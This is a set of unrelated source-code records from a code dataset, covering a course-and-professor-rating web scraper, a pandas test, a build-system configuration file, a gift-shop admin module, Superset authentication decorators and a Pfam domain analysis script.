# return\n #\n # ntt = to_python(next_trans[0])\n # if ntt >= t:\n # logger.info(\"Advancing %s\", t)\n # # execute all updates in all entities\n # self.update(self.entity, t)\n #\n # # stabilise the system\n # self._stabilise_fp(self.entity)\n # self.global_time += t\n # else:\n # logger.info(f\"The next behaviour change is in {ntt} time units. Advancing that first, then the rest of the {t}.\")\n # self.advance_behaviour_change(ntt)\n # logger.info(f\"Now need to advance the rest of the {t}: {t - ntt}\")\n # self.advance_behaviour_change(t - ntt)\n # logger.debug(f\"finished total advance of {t} (time is now {self.global_time})\")\n #\n # # record those traces\n # if self.record_traces:\n # self.traces.save_entity(self.entity, self.global_time)\n\n def next_behaviour_change_time(self):\n \"\"\" this function is a convenience for debugging, so we don't have to create a TransitionTimeCalculator manually \"\"\"\n nbct = ConditionTimedChangeCalculator(self.entity, self.timeunit, use_integer_and_real=self.default_to_integer_real).get_next_behaviour_change_time()\n if nbct is not None:\n logger.info(f\"The next behaviour change is {nbct[1]._name} in {to_python(nbct[0])} time steps\")\n else:\n logger.info(\"There is no behaviour change reachable by time advance.\")\n return nbct\n","sub_path":"src/simulator/basesimulator.py","file_name":"basesimulator.py","file_ext":"py","file_size_in_byte":30390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"282312828","text":"import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture(0)\ncv2.namedWindow(\"Video\")\ncv2.namedWindow('hsv', cv2.WINDOW_NORMAL)\ncv2.namedWindow('tracking', cv2.WINDOW_NORMAL)\n\n\ndef get_hsv_val(event, x, y, flags, param):\n if event == cv2.EVENT_LBUTTONDOWN:\n stat2, img2 = cap.read()\n vals = img2[y][x]\n # set track bar to -10 + 10 of click\n adjust = 25\n cv2.setTrackbarPos('H Min', 'hsv', vals[0]-adjust)\n cv2.setTrackbarPos('H Max', 'hsv', vals[0]+adjust)\n cv2.setTrackbarPos('S Min', 'hsv', vals[1]-adjust)\n cv2.setTrackbarPos('S Max', 'hsv', vals[1]+adjust)\n cv2.setTrackbarPos('V Min', 'hsv', vals[2]-adjust)\n cv2.setTrackbarPos('V Max', 'hsv', vals[2]+adjust)\n\n\ncv2.setMouseCallback(\"hsv\", get_hsv_val)\n\ndef nothing(x):\n pass\n\ncv2.createTrackbar('H Min','hsv',0,255, nothing)\ncv2.createTrackbar('H Max','hsv',0,255, nothing)\ncv2.createTrackbar('S Min','hsv',0,255, nothing)\ncv2.createTrackbar('S Max','hsv',0,255, nothing)\ncv2.createTrackbar('V Min','hsv',0,255, nothing)\ncv2.createTrackbar('V Max','hsv',0,255, nothing)\n\nwhile True:\n status, img = cap.read()\n cv2.resizeWindow(\"Video\", 600,400)\n cv2.imshow(\"Video\", img)\n cv2.resizeWindow(\"hsv\", 600,400)\n cv2.resizeWindow(\"tracking\", 600,400)\n\n # get slider values\n h = cv2.getTrackbarPos('H Max','hsv')\n s = cv2.getTrackbarPos('S Max','hsv')\n v = cv2.getTrackbarPos('V Max','hsv')\n\n hsv_max = np.array([h, s, v])\n\n h = cv2.getTrackbarPos('H Min','hsv')\n s = cv2.getTrackbarPos('S Min','hsv')\n v = cv2.getTrackbarPos('V Min','hsv')\n\n hsv_min = np.array([h, s, v])\n\n # Convert to hsv\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n cv2.imshow('hsv', hsv)\n\n # Color tracking\n track = cv2.inRange(hsv, hsv_min, hsv_max)\n\n kernel = np.ones((2,2), np.uint8)\n\n img_erosion = cv2.erode(track, kernel, iterations=1)\n kernel = np.ones((6,6), np.uint8)\n img_dilation = cv2.dilate(img_erosion, kernel, iterations=1)\n\n cv2.imshow('Erosion', img_erosion)\n cv2.imshow('tracking', img_dilation)\n\n # unedited tracking image\n # cv2.imshow('tracking', track)\n\n k = cv2.waitKey(1)\n if k == 27:\n break\n\ncv2.destroyAllWindows()\n","sub_path":"old/track_object.py","file_name":"track_object.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"407068252","text":"def hold(a, b, c):\n\tif (a**2 + b**2 + c**2)/2 in [a**2, b**2, c**2] and max(a, b, c) < (a+b+c):\n\t\tprint('The lengths are: ',a, b, c)\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef sol(n):\n\tnum = 0\n\tfor i in range(1, n//3):\n\t\tfor j in range(i, (n-i)//2):\n\t\t\tk = n - i - j\n\t\t\tif hold(i,j,k):\n\t\t\t\tnum += 1\n\treturn num\n\nsolmax = 0\nfor p in range(3, 1001):\n\ttemp = sol(p)\n\tprint('number', p, 'has', temp, 'solutions')\n\tsolmax = max(solmax, temp)\n\nprint(solmax)","sub_path":"resource/code-samples/project-euler/0319P39.py","file_name":"0319P39.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"289470098","text":"# See LICENSE for licensing information.\n#\n# Copyright (c) 2016-2019 Regents of the University of California \n# All rights reserved.\n#\nfrom bitcell_base_array import bitcell_base_array\nfrom sram_factory import factory\nfrom globals import OPTS\n\n\nclass dummy_array(bitcell_base_array):\n \"\"\"\n Generate a dummy row/column for the replica array.\n \"\"\"\n def __init__(self, cols, rows, column_offset=0, mirror=0, name=\"\"):\n super().__init__(cols, rows, name, column_offset)\n self.mirror = mirror\n\n self.create_netlist()\n if not OPTS.netlist_only:\n self.create_layout()\n \n def create_netlist(self):\n \"\"\" Create and connect the netlist \"\"\"\n self.add_modules()\n self.add_pins()\n self.create_instances()\n\n def create_layout(self):\n\n self.place_array(\"dummy_r{0}_c{1}\", self.mirror)\n\n self.add_layout_pins()\n\n self.add_boundary()\n \n self.DRC_LVS()\n\n def add_modules(self):\n \"\"\" Add the modules used in this design \"\"\"\n self.dummy_cell = factory.create(module_type=\"dummy_{}\".format(OPTS.bitcell))\n self.add_mod(self.dummy_cell)\n\n self.cell = factory.create(module_type=\"bitcell\")\n \n def create_instances(self):\n \"\"\" Create the module instances used in this design \"\"\"\n self.cell_inst = {}\n for col in range(self.column_size):\n for row in range(self.row_size):\n name = \"bit_r{0}_c{1}\".format(row, col)\n self.cell_inst[row, col]=self.add_inst(name=name,\n mod=self.dummy_cell)\n self.connect_inst(self.get_bitcell_pins(col, row))\n\n def input_load(self):\n wl_wire = self.gen_wl_wire()\n return wl_wire.return_input_cap()\n\n def get_wordline_cin(self):\n \"\"\"Get the relative input capacitance from the wordline connections in all the bitcell\"\"\"\n # A single wordline is connected to all the bitcells in a single row meaning the capacitance depends on the # of columns\n bitcell_wl_cin = self.cell.get_wl_cin()\n total_cin = bitcell_wl_cin * self.column_size\n return total_cin\n","sub_path":"compiler/modules/dummy_array.py","file_name":"dummy_array.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"472842883","text":"n, x = map(int, input().split())\r\nif x == 1 or x == (2 * n - 1):\r\n print(\"No\")\r\n exit()\r\n\r\nprint(\"Yes\")\r\n\r\nr = [x - 1, x, x + 1]\r\ntmp = list(range(1, x - 1)) + list(range(x + 2, 2 * n))\r\n\r\nans = tmp[n - 2:] + r + tmp[:n - 2]\r\n\r\nfor i in ans:\r\n print(i)","sub_path":"Source Codes/AtCoder/agc006/B/4926379.py","file_name":"4926379.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} diff --git a/4064.jsonl b/4064.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..40535bcb415e91d0e1797d3c91f9afc42265a7d6 --- /dev/null +++ b/4064.jsonl @@ -0,0 +1,616 @@ +{"seq_id":"228824175","text":"#This uses urlopen to access a site, then uses BeautifulSoup to get the\n#HTML from that site, and then cuts out all of the non-text\nimport re\nfrom bs4 import BeautifulSoup\nimport requests\n\nclass Professor:\n person = \"\"\n quality = \"\"\n takeAgain = \"\"\n difficulty = \"\"\n def __init__(self, name):\n self.person = name\n\ndef isPageGood(url):\n site = requests.get(url)\n soup = BeautifulSoup(site.content, \"html.parser\")\n zeroMatches = soup.find(\"div\", attrs ={\"class\" : \"zeromatches\"}) #if page is bad the find() will return \"

No course sections matched your search criteria.

Please try again using fewer or different search terms.

\"\n\n badString = '

No course sections matched your search criteria.

Please try again using fewer or different search terms.

'\n\n #tests to see if there is string denoting no results is in the page\n if badString in str(zeroMatches) :\n return False\n else:\n return True\n\ndef abSem(semester) : #abbreviates the semester value to get the whole term ----returns the one letter abbreviation\n if semester.lower() == \"fall\":\n return \"f\"\n elif semester.lower() == \"spring\":\n return \"s\"\n elif semester.lower() == \"summer\":\n return \"u\"\n else :\n return \"And the Lord spake, saying, 'First shalt thou take out the Holy Pin. Then, shalt thou count to three, no more, no less. Three shall be the number thou shalt count, and the number of the counting shall be three. Four shalt thou not count, nor either count thou two, excepting that thou then proceed to three. Five is right out! Once the number three, being the third number, be reached, then lobbest thou thy Holy Hand Grenade of Antioch towards thou foe, who being naughty in my sight, shall snuff it.'\"\n\ndef createURL(prefix,year,semester,number) : #navigates to the coursebook page with the search criteria and returns creates a list of all the professors\n term = str(year%100) + abSem(semester=semester)\n url = \"https://coursebook.utdallas.edu/search/searchresults\" + \"/\" + prefix + str(number) + \"/term_\" + term\n\n return url\n\ndef scrapeProf(url) : #navigates to the coursebook page with the search criteria and returns creates a list of all the professors\n site = requests.get(url)\n soup = BeautifulSoup(site.content, \"html.parser\")\n professorList = soup.find_all(\"a\", title=True, attrs ={\"class\" : \"ptools-popover\"})\n\n i = 0\n while i < len(professorList): #changes the professor list full of jank into just the names\n professorList[i] = professorList[i].get_text()\n if (professorList[i].count(\" \") + 1) >= 2 : #if wordcount >=2\n professorList[i] = professorList[i].split()[0] + \" \" + professorList[i].split()[-1]\n i = i + 1\n return professorList\n\ndef getRating(name):\n\n name = re.sub('\\s','+',name)\n professor = Professor(name)\n #Initial Search for the Professor\n URL = \"https://www.ratemyprofessors.com/search.jsp?queryoption=HEADER&queryBy=teacherName&schoolName=The+University+of+Texas+at+Dallas&schoolID=1273&query=\" + name\n site = requests.get(URL)\n soup = BeautifulSoup(site.content, 'html.parser')\n search = soup.find(\"a\", href=re.compile(\"ShowRatings\"))\n \n if str(search) == \"None\":\n professor.quality = \"0\"\n professor.takeAgain = \"0\"\n professor.difficulty = \"0\"\n print(\"Professor was not found\")\n else:\n\n URL = \"https://www.ratemyprofessors.com\" + search.get('href') # new link\n \n \n #Get Number from the actual professor page.\n site = requests.get(URL)\n soup = BeautifulSoup(site.content, 'html.parser')\n search = soup.find_all('div', attrs={'class':'grade'})\n\n if len(search) == 3:\n \n quality = search[0].get_text()\n takeAgain = search[1].get_text()\n difficulty = search[2].get_text()\n\n professor.quality = re.sub('\\s+','',quality)\n professor.takeAgain = re.sub('\\s+','',takeAgain)\n professor.difficulty = re.sub('\\s+','',difficulty)\n\n else:\n\n professor.quality = \"0\"\n professor.takeAgain = \"0\"\n professor.difficulty = \"0\"\n\n\n return professor\n\ndef getRatingList(professorList):\n index = 0\n ratingList = []\n for professor in professorList:\n name = professorList[index]\n ratingList.append(getRating(name))\n index += 1\n return ratingList\n\n\ndef compProf(ratingList):\n index = 0\n bestIndex = 0\n bestQuality = 0.0\n\n for professor in ratingList:\n string = ratingList[index].quality\n quality = float(string)\n if quality > bestQuality:\n bestQuality = quality\n bestIndex = index\n index += 1\n \n return ratingList[bestIndex]\n\n\ndef bestProfessor(coursePrefix, courseNum, semester, year):\n searchUrl = createURL(coursePrefix, year, semester, courseNum)\n if isPageGood(searchUrl):\n professor = compProf(getRatingList(scrapeProf(searchUrl)))\n print(professor.person)\n print(professor.quality)\n print(professor.difficulty)\n print(professor.takeAgain)\n return \n else:\n return None\n\nbestProfessor(\"cs\", 6301, \"spring\", 2020)\n\n#absem\n#create url\n#scrap prof to array\n#for each prof in array get rating and output to new array\n#find top prof and return prof\n","sub_path":"Payton Testing/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":5444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"89822978","text":"import pytest\nfrom hypothesis import given\n\nfrom janitor.testing_utils.strategies import df_strategy\n\n\n@pytest.mark.functions\n@given(df=df_strategy())\ndef test_reorder_columns(df):\n # NOTE: This test essentially has four different tests underneath it.\n # WE should be able to refactor this using pytest.mark.parametrize.\n\n # sanity checking of inputs\n\n # input is not a list or pd.Index\n with pytest.raises(TypeError):\n df.reorder_columns(\"a\")\n\n # one of the columns is not present in the DataFrame\n with pytest.raises(IndexError):\n df.reorder_columns([\"notpresent\"])\n\n # reordering functionality\n\n # sanity check when desired order matches current order\n # this also tests whether the function can take Pandas Index objects\n assert all(df.reorder_columns(df.columns).columns == df.columns)\n\n # when columns are list & not all columns of DataFrame are included\n assert all(\n df.reorder_columns([\"animals@#$%^\", \"Bell__Chart\"]).columns\n == [\"animals@#$%^\", \"Bell__Chart\", \"a\", \"decorated-elephant\", \"cities\"]\n )\n","sub_path":"tests/functions/test_reorder_columns.py","file_name":"test_reorder_columns.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"29977213","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport socket \n\ndef get_host():\n\treturn socket.gethostbyname(socket.gethostname())\n\n\n# 本设备IP\n# LOCAL_MACHINE_IP = get_host()\nLOCAL_MACHINE_IP = '10.1.1.20'\n\n# 设备名 (用于告诉用户哪台设备接单执行打包任务)\nMACHINE_NAME = 'MacPro'\n\n# 本地登录用户名\nLOCAL_USERNAME = 'babybus'\n\n# 本地登录用户密码\nLOCAL_PASSWORD = 'team123456'\n\n# 打包系统代码逻辑路径\nSITES_DIR = r'/Users/babybus/Sites'\n\n# 模板插件等代码资源路径\nSITE_DIR = r'/Volumes/BABYBUS_2D/Site'\n\n# 打包数据缓存和公共资源等路径\nMEDIA_DIR = r'/Volumes/BabyBusData/htdocs/media'\n\n\n# APP打包资源缓存路径\nTEMP_DIR = os.path.join(MEDIA_DIR, 'temp')\n\n# 用于存放对比的音效资源\nSND_SOURCE_DIR = os.path.join(MEDIA_DIR, 'sndsource')\n\n# 用于存放不同功能的lua模板的路径(2.x框架)\nPROJECT_TOOL_DIR = os.path.join(SITE_DIR, 'project_tool')\n\n# 用于存放不同功能的lua模板的路径(3.x框架)\nTHREE_TOOL_DIR = os.path.join(SITE_DIR, 'three_tool')\n\n# 用于存放安卓和IOS模板的路径\nSOURCE_DIR = os.path.join(SITE_DIR, 'source')\n\n# 用于获取IOS打包模板的路径\nIPAPACK_DIR = os.path.join(SOURCE_DIR, 'ipapack')\n\n# 用于反馈到网站打包日志的路径\nMEDIA_PORT = os.path.join(LOCAL_MACHINE_IP, 'media')\n\n# 网站上传的公共资源路径 \nCOMMON_RES_DIR = os.path.join(SITES_DIR, 'media', 'common')\n\n\n# add a005 a030 等渠道统一处理\nSAME_CHANNEL = ['A005', 'A030']\n","sub_path":"quick/python/django/pack/auxiliary/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"388876041","text":"# -*- coding: utf-8 -*-\n\nfrom apps.gift.models import Category, Subcategory, Gift, Brand,\\\n GlobalPriceModif\nfrom apps.gift.forms import SubcategoryForm, CategoryForm, GiftForm,\\\n AddNewThumb, BrandForm, GlobalPriceModifForm\nfrom kay.utils import render_to_response\nfrom kay.auth.decorators import admin_required\nfrom kay.lib.werkzeug.utils import redirect\nfrom apps.img.models import ThumbImage\nfrom kay.utils.paginator import Paginator, InvalidPage, EmptyPage\n\n\n@admin_required\ndef all(request):\n gifts_list = Gift.all()\n paginator = Paginator(gifts_list, 26)\n try:\n page = int(request.args.get('page',1))\n except ValueError:\n page = 1\n\n try:\n gifts = paginator.page(page)\n except (EmptyPage, InvalidPage):\n gifts = paginator.page(paginator.num_pages())\n\n return render_to_response('gift/admin/all.html', {'gifts':gifts})\n\n@admin_required\ndef delete(request, key):\n gift = Gift.get(key)\n if gift:\n gift.delete()\n return redirect('/gift/admin/all/')\n\n\n@admin_required\ndef add(request):\n tmp_gift = Gift()\n form = GiftForm(instance=tmp_gift)\n if request.method == 'POST' and form.validate(request.form):\n gift = form.save()\n return redirect('/gift/admin/edit/%s/' % gift.key())\n return render_to_response('gift/admin/add.html', {'form':form.as_widget()})\n\n@admin_required\ndef edit(request, key):\n ret_url = request.values.get('ret_url', '')\n gift = Gift.get(key)\n if gift is None:\n return redirect('/gift/admin/all/')\n edit_form = GiftForm(instance=gift)\n if request.method == 'POST' and edit_form.validate(request.form):\n edit_form.save()\n if ret_url:\n return redirect(ret_url)\n return redirect('/gift/admin/all/')\n add_new_thumb_form = AddNewThumb()\n return render_to_response('gift/admin/edit.html',\n {'edit_form':edit_form.as_widget(),\n 'gift':gift,\n 'add_new_thumb_form':add_new_thumb_form.as_widget()})\n\n@admin_required\ndef brands(request):\n form = BrandForm()\n if request.method == \"POST\":\n if form.validate(request.form):\n form.save()\n form = BrandForm()\n return render_to_response('gift/admin/brands.html',\n {'form':form.as_widget(), 'brands':Brand.all()})\n\n@admin_required\ndef brand_edit(request, key):\n brand = Brand.get(key)\n if brand is None:\n return redirect('/gift/admin/brands/')\n form = BrandForm(instance=brand)\n if request.method == 'POST' and form.validate(request.form):\n form.save()\n return redirect('/gift/admin/brands/')\n return render_to_response('gift/admin/brand_edit.html', {'form':form.as_widget()})\n\n@admin_required\ndef categories(request):\n form = CategoryForm()\n if request.method == 'POST':\n if form.validate(request.form):\n form.save()\n form = CategoryForm()\n return render_to_response('gift/admin/category.html',\n {'form':form.as_widget(),\n 'categories':Category.all().order('category')})\n\n@admin_required\ndef subcategories(request):\n form = SubcategoryForm()\n if request.method == 'POST':\n if form.validate(request.form):\n form.save()\n form = SubcategoryForm()\n return render_to_response('gift/admin/subcategories.html',\n {'form':form.as_widget(),\n 'subcategories':Subcategory.all()\\\n .order('on_category').order('subcategory')})\n\n@admin_required\ndef global_price_modif(request):\n form = GlobalPriceModifForm()\n if request.method == 'POST':\n if form.validate(request.form):\n objs = GlobalPriceModif.all()\n if objs.count() > 0:\n gpm = objs[0]\n gpm.price_percent = form['price_percent']\n gpm.put()\n return redirect('/gift/admin/global_price_modif')\n else:\n form.save()\n form = GlobalPriceModifForm()\n return render_to_response('gift/admin/global_price_modif.html',\n {'form':form.as_widget(),\n 'global_price_modif':GlobalPriceModif.all()})\n\n@admin_required\ndef delete_brand(request, key):\n brand = Brand.get(key)\n if brand:\n brand.delete()\n return redirect('/gift/admin/brands/')\n\n@admin_required\ndef delete_category(request, key):\n category = Category.get(key)\n if category:\n category.delete()\n return redirect('/gift/admin/categories/')\n\n@admin_required\ndef delete_subcategory(request, key):\n subcategory = Subcategory.get(key)\n if subcategory:\n subcategory.delete()\n return redirect('/gift/admin/subcategories/')\n\n@admin_required\ndef add_new_thumb(request):\n if request.method == 'POST':\n gift_key = request.values.get('gift_key')\n gift = Gift.get(gift_key)\n if gift is None:\n return redirect('/gift/admin/edit/%s/' % gift_key)\n\n new_th_form = AddNewThumb()\n if request.form and new_th_form.validate(request.form, request.files):\n thumb = new_th_form['img']\n content_type = 'image/jpeg'\n if gift.name:\n title = gift.name.replace('\"', '"')\n else:\n title = ''\n thumb_img = ThumbImage()\n thumb_img.add_new_thumb(blob_img=thumb, thumb_size=(700, 700, ),\n title=title, content_type=content_type)\n thumb_img.add_new_thumb(blob_img=thumb, thumb_size=(400, 400, ),\n title=title, content_type=content_type)\n thumb_img.add_new_thumb(blob_img=thumb, thumb_size=(200, 200, ),\n title=title, content_type=content_type)\n thumb_img.add_new_thumb(blob_img=thumb, thumb_size=(100, 100, ),\n title=title, content_type=content_type)\n if not gift.thumbs.count():\n thumb_img.main_gift = gift\n thumb_img.gift = gift\n thumb_img.put()\n\n return redirect('/gift/admin/edit/%s/' % gift_key)\n return redirect('/gift/admin/all/')\n\n@admin_required\ndef set_default_thumb(request, gift, key):\n thumb = ThumbImage.get(key)\n if thumb:\n gift_obj = Gift.get(gift)\n if gift_obj:\n if gift_obj.main_thumb.count():\n for old_thumb in gift_obj.main_thumb:\n old_thumb.main_gift = None\n old_thumb.put()\n thumb.main_gift = gift_obj\n thumb.put()\n return redirect('/gift/admin/edit/%s/' % gift)\n\n@admin_required\ndef delete_thumb(request, thumb_key):\n thumb = ThumbImage.get(thumb_key)\n if thumb:\n gift = thumb.gift\n thumb.delete()\n if gift.thumbs.count() and not gift.main_thumb.count():\n tmp_thumb = gift.thumbs[0]\n tmp_thumb.main_gift = gift\n tmp_thumb.put()\n return redirect('/gift/admin/edit/%s/' % gift.key())\n return redirect('/admin/view_all/')\n\n\n","sub_path":"apps/gift/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":7026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197968685","text":"import functools\nfrom flask import g, request\nfrom flask_jwt_extended import verify_jwt_in_request\nfrom flask_appbuilder.security.decorators import has_access\nimport simplejson as json\nfrom superset import security_manager\nfrom superset.peak import authorizer\n\ndef has_superset_api_access(f):\n \"\"\"\n Use this decorator for REST APIs in order to authenticate via superset generated\n access_token. It will enable granular security permissions to your methods.\n Permissions will be associated to a role, and roles are associated to users.\n\n By default the permission's name is the methods name.\n \"\"\"\n def wraps(self, *args, **kwargs):\n try:\n if request.headers.get('Authorization') is not None:\n verify_jwt_in_request()\n return f(self, *args, **kwargs)\n elif g.user is not None and g.user.is_authenticated:\n has_access(f)\n return f(self, *args, **kwargs)\n else:\n raise Exception('Login is valid only through \"authToken\"')\n except Exception as e:\n raise e\n return functools.update_wrapper(wraps, f)\n\ndef check_access_and_create_session(f):\n \"\"\"\n Use this decorator to enable granular security permissions to your methods\n and for login user using sessions. Permissions will be associated to a role,\n and roles are associated to users.\n\n By default the permission's name is the methods name.\n \"\"\"\n def wraps(self, *args, **kwargs):\n try:\n form_data = request.args.get('form_data')\n if form_data is None:\n form_data = \"{}\"\n auth_token = json.loads(form_data).get(\"token\")\n authorization_header = request.headers.get('Authorization')\n\n if (authorization_header is not None or auth_token is not None):\n token = authorization_header\n if token is None:\n token = \"Bearer \" + auth_token\n authorizer.authorize(token, security_manager)\n return f(self, *args, **kwargs)\n elif g.user is not None and g.user.is_authenticated:\n has_access(f)\n return f(self, *args, **kwargs)\n else:\n raise Exception('Login is valid only through \"authToken\"')\n except Exception as e:\n raise e\n return functools.update_wrapper(wraps, f)\n","sub_path":"superset/peak/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"7457954","text":"#!/usr/bin/env python\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport sys\nimport re\nimport math\nimport scipy.stats as stats\n\n\n# sys.argv[1] : csv file to extract columns from\n\n\ndata = pd.read_csv(sys.argv[1], sep=',', engine=\"python\")\ndata = data[data.RBPome != 'Contaminant']\ndata = data.fillna('-')\n\ntot_pfam = list()\n\nfor i in range(len(data)):\n a = list()\n pfam = data.iloc[i]['Cross-reference_(Pfam)']\n pfam = pfam.split(';')\n\n for j in range(len(pfam)):\n if pfam[j][:2] == 'PF':\n a.append(pfam[j])\n\n a = list(set(a))\n\n for j in range(len(a)):\n tot_pfam.append(a[j])\n\nprint(len(tot_pfam))\n\nnew = pd.DataFrame({'pfam': tot_pfam})\nnew['RBD_classification'] = ''\nnew['name'] = ''\n\npfam_dom = pd.read_csv(sys.argv[2], sep=',', engine='python')\n\ndic_class = pfam_dom[['id', 'RBD.classification']]\ndic_class = dic_class.set_index('id').T.to_dict('list')\n\ndic_name = pfam_dom[['id', 'name']]\ndic_name = dic_name.set_index('id').T.to_dict('list')\n\nfor i in range(len(new)):\n new.at[i, 'RBD_classification'] = str(dic_class.get(new.iloc[i]['pfam']))[2:-2]\n new.at[i, 'name'] = str(dic_name.get(new.iloc[i]['pfam']))[2:-2]\n\n\nnew.to_csv('sample_pfam_with_class.csv', index=None)\n\n# sorting out classical RBD\n\n\nclassical = new[new.RBD_classification == 'classical']\n\na = classical['name'].value_counts()\na = a.to_frame()\na['id'] = a.index\na.index = range(len(a))\n\nkh_counter = 0\n\nclassical = pd.DataFrame()\nclassical['count'] = ''\nclassical['name'] = ''\n\nfor i in range(len(a)):\n if str(a.iloc[i]['id'])[:3] == \"KH_\":\n kh_counter = kh_counter + int(a.iloc[i]['name'])\n \n else:\n classical.at[i, 'name'] = a.iloc[i]['id']\n classical.at[i, 'count'] = a.iloc[i]['name']\n\nclassical.index = range(len(classical))\nclassical.at[len(classical), 'name'] = 'KH'\nclassical.at[len(classical)-1, 'count'] = kh_counter\n\n# sorting out non classical RBD\n\n\nnonclassical = new[new.RBD_classification == 'nonclassical']\n\nb = nonclassical['name'].value_counts()\nb = b.to_frame()\nb['id'] = b.index\nb.index = range(len(b))\n\nribosome_counter = 0\n\nnonclassical = pd.DataFrame()\nnonclassical['count'] = ''\nnonclassical['name'] = ''\n\nfor i in range(len(b)):\n if str(b.iloc[i]['id'])[:9] == 'Ribosomal':\n ribosome_counter = ribosome_counter + int(b.iloc[i]['name'])\n\n else:\n nonclassical.at[i, 'name'] = b.iloc[i]['id']\n nonclassical.at[i, 'count'] = b.iloc[i]['name']\n\nnonclassical.index = range(len(nonclassical))\nnonclassical.at[len(nonclassical), 'name'] = 'Ribosomal'\nnonclassical.at[len(nonclassical)-1, 'count'] = ribosome_counter\n\n\nnone = new[new.RBD_classification == 'none']\n\nc = none['name'].value_counts()\nc = c.to_frame()\nc['id'] = c.index\nc.index = range(len(c))\n\nrna_c = 0\nppr_c = 0\nfad_c = 0\n\nnone = pd.DataFrame()\nnone['count'] = ''\nnone['name'] = ''\n\nfor i in range(len(c)):\n if str(c.iloc[i]['id'])[:11] == 'RNA_pol_Rpb':\n rna_c = rna_c + int(c.iloc[i]['name'])\n\n elif str(c.iloc[i]['id'])[:4] == 'PPR_':\n ppr_c = ppr_c + int(c.iloc[i]['name'])\n\n elif str(c.iloc[i]['id'])[:12] == 'FAD_binding_':\n fad_c = fad_c + int(c.iloc[i]['name'])\n\n else:\n none.at[i, 'name'] = c.iloc[i]['id']\n none.at[i, 'count'] = c.iloc[i]['name']\n\nnone.index = range(len(none))\nnone.at[len(none), 'name'] = 'RNA_pol_Rpb'\nnone.at[len(none)-1, 'count'] = rna_c\n\nnone.at[len(none), 'name'] = 'PPR_none'\nnone.at[len(none)-1, 'count'] = ppr_c\n\nnone.at[len(none), 'name'] = 'FAD_binding'\nnone.at[len(none)-1, 'count'] = fad_c\n\nrandom = new[new.RBD_classification == '']\n\n\nclassical.to_csv('classical_rbp.csv', index=None)\nnonclassical.to_csv('nonclassical_rbp.csv', index=None)\nnone.to_csv('none_rbp.csv', index=None)\nrandom.to_csv('no_entry.csv', index=None)\n\n\n\nd = random['RBD_classification'].value_counts()\n\n\n\n\n'''\na.to_csv('classical_rbp.csv')\nb.to_csv('nonclassical_rbp.csv')\nc.to_csv('none.csv')\nd.to_csv('random.csv')\n'''\n\n\n\n'''\nnone = occ[['none'][0]]\n\nclassical = occ[['classical'][0]]\nnonclassical = occ[['nonclassical'][0]]\n\nbar_chart = [classical, nonclassical, none]\n\nfig, ax = plt.subplots(figsize=(10,7))\n\ncolors = [\"#006D2C\", \"#31A354\",\"#74C476\"]\n\nocc.plot.bar(stacked = True, colors = colors)\n'''\n\n\n'''\nfig = plt.figure(facecolor='white')\n\nax = fig.add_subplot(1,1,1)\nbar_width = 0.5\nbar_1 = np.arrange(1,4)\n\nax1 = ax.bar(bar_1, bar_chart, width = bar_width, label = 'A', \n\n'''\n'''\ndata['odds_ratio'] = ''\ndata['log2_odds_ratio'] = ''\n\ndata.index = range(len(data))\n\nfor i in range(len(data)):\n\n print(i)\n print('-----------------')\n print(data.iloc[i]['name'])\n print('-----------------')\n\n# if data.iloc[i]['# GO'] == 'GO:0004673':\n# print(data[[i]])\n\n\n\n study = data.iloc[i]['ratio_in_study']\n pop = data.iloc[i]['ratio_in_pop']\n\n study = study.split('/')\n pop = pop.split('/')\n study = list(map(float, study))\n pop = list(map(float, pop))\n odds_ratio = (study[0]/study[1])/(pop[0]/pop[1])\n\n if odds_ratio != 0:\n log2_odds_ratio = math.log2(odds_ratio)\n data.at[i, 'odds_ratio'] = str(odds_ratio)\n data.at[i, 'log2_odds_ratio'] = str(log2_odds_ratio)\n\n\n elif odds_ratio == 0:\n log2_odds_ratio = 'error'\n\n\n# print(odds_ratio)\n# print(log2_odds_ratio)\n# print('data frame before: ',repr(new.iloc[i]['odds_ratio']))\n# print('or: ',repr(odds_ratio))\n# print('log2: ',log2_odds_ratio)\n\n# print('data frame after: ', new.iloc[i]['odds_ratio'])\n\n# print(data.iloc[i]['name'], ' has odds_ratio: ', odds_ratio)\n\ndata.to_csv('at_GO_enrichment_no_propagate_odds_ratio.csv', index=None)\n\n\n'''\n\n\n\n\n'''\nnew = pd.DataFrame(columns=['Entry'])\nnew['Entry'] = ''\n\nsample_list = list()\nempty = list()\nempty_counter = 0\n\nfor i in range(len(data)):\n if i%1000 == 0:\n print(str(i) + '/' + str(len(data)))\n\n prot_groups = data.iloc[i]['Entry']\n prot_groups = prot_groups.split(';')\n \n for l in range(len(prot_groups)):\n if prot_groups[l] != '-':\n sample_list.append(prot_groups[l])\n \n\n elif prot_groups[l] == '-':\n empty.append(str(data.iloc[i]['Majority.protein.IDs']))\n empty_counter += 